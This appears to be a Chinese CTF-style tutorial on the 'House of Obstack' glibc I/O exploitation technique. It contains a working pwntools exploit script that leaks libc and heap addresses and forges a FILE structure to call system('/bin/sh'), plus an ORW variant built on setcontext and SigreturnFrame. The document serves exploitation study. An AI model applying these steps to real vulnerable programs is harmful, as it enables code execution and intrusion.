高版本io利用之House of Obstack(shell及orw)
字数 1155 2025-08-23 18:31:25
House of Obstack 利用技术详解
一、技术概述
House of Obstack 是一种针对 glibc I/O 文件流(FILE结构体)的利用技术,主要利用 _IO_obstack_jumps 虚表中的函数指针实现任意代码执行。该技术适用于 glibc 2.37 以下版本(不包括 2.37),因为在 glibc-2.37 中删除了 _IO_obstack_jumps 及其相关函数。
二、关键数据结构
1. _IO_obstack_jumps 虚表
const struct _IO_jump_t _IO_obstack_jumps = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, _IO_obstack_overflow),
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, _IO_obstack_xsputn),
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};
2. _IO_obstack_file 结构
struct _IO_obstack_file {
struct _IO_FILE_plus file;
struct obstack *obstack;
};
3. obstack 结构
struct obstack {
long chunk_size;
struct _obstack_chunk *chunk;
char *object_base;
char *next_free;
char *chunk_limit;
union {
PTR_INT_TYPE tempint;
void *tempptr;
} temp;
int alignment_mask;
struct _obstack_chunk *(*chunkfun)(void *, long);
void (*freefun)(void *, struct _obstack_chunk *);
void *extra_arg;
unsigned use_extra_arg : 1;
unsigned maybe_empty_object : 1;
unsigned alloc_failed : 1;
};
三、利用链分析
1. 主要调用链
有两种主要的调用链可以利用:
调用链1:_IO_obstack_overflow
_IO_obstack_overflow
obstack_1grow(obstack, c);
_obstack_newchunk(__o, 1);
new_chunk = CALL_CHUNKFUN(h, new_size);
(*(h)->chunkfun)((h)->extra_arg, (size))
调用链2:_IO_obstack_xsputn
_IO_obstack_xsputn
obstack_grow(obstack, data, n);
_obstack_newchunk(__o, __len);
new_chunk = CALL_CHUNKFUN(h, new_size);
(*(h)->chunkfun)((h)->extra_arg, (size))
2. 选择调用链
通常选择第二条调用链(_IO_obstack_xsputn),因为第一条调用链中的 _IO_obstack_overflow 容易触发 assert(c != EOF) 导致利用失败。
3. 关键宏定义
#define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) \
: (*(struct _obstack_chunk * (*)(long))(h)->chunkfun)((size)))
四、利用条件
- 能够伪造一个 FILE 结构体(通常是 stderr)
- 能够控制 FILE 结构体中的 obstack 指针
- 能够设置 obstack 结构中的 chunkfun 和 extra_arg 字段
- 需要确保
use_extra_arg标志位为 1
五、利用步骤
1. 泄露地址
首先需要泄露 libc 和堆地址:
# 泄露libc地址
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
free(2)
free(0)
show(2)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96)
# 泄露堆地址
show(0)
heap_base = u64(io.recvuntil((b'\x55\x55'))[-6:].ljust(8, b'\x00')) & ~0xFFF
2. 伪造 FILE 结构体
构造一个伪造的 FILE 结构体,关键点:
- 将 vtable 设置为
_IO_obstack_jumps + 0x20(跳过 overflow 直接调用 xsputn) - 设置 obstack 指针指向可控内存
- 在 obstack 结构中设置 chunkfun 和 extra_arg
file_addr = heap_base + 0x6d0
fake_file = b""
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(1) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0)*4 # from _IO_save_base to _markers
fake_file += p64(libc.sym["system"]) # 调用位置
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2
fake_file += p64(next(libc.search(b"/bin/sh"))) # 参数
fake_file += p16(1) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset
fake_file += p64(0) # _codecvt
fake_file += p64(0) # _IO_wide_data_1
fake_file += p64(0)*3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode
fake_file += b"\x00"*19 # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00')
fake_file += p64(libc.sym['_IO_obstack_jumps'] + 0x20) # 虚表
fake_file += p64(file_addr + 0x30) # obstack指针
3. 触发利用
通过修改 stderr 的 flags 字段触发利用:
edit(1, b'a'*0x10 + p32(0xfbad1880))
io.sendafter(b"choice:", b"5") # 触发exit流程
六、ORW利用变种
对于ORW(Open-Read-Write)利用,可以将调用函数改为magic gadget:
fake_file += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'), executable=True)))
然后构造setcontext调用链:
frame = SigreturnFrame()
frame.rdi = buf_addr
frame.rsi = 0
frame.rsp = rop_addr
frame.rip = libc.sym['open']
frame = bytearray(bytes(frame))
frame[8:8+8] = p64(frame_addr)
frame[0x20:0x20+8] = p64(libc.sym['setcontext'] + 61)
frame = bytes(frame)
七、防御措施
- glibc 2.37 移除了
_IO_obstack_jumps虚表 - 现代glibc增加了对FILE结构体的完整性检查
- 启用FORTIFY_SOURCE可以增加额外的检查
八、总结
House of Obstack是一种利用glibc I/O子系统中obstack相关函数的攻击技术,通过精心构造FILE结构体和obstack结构,可以最终实现任意函数调用。该技术在glibc 2.37以下版本有效,是I/O利用家族中的重要成员之一。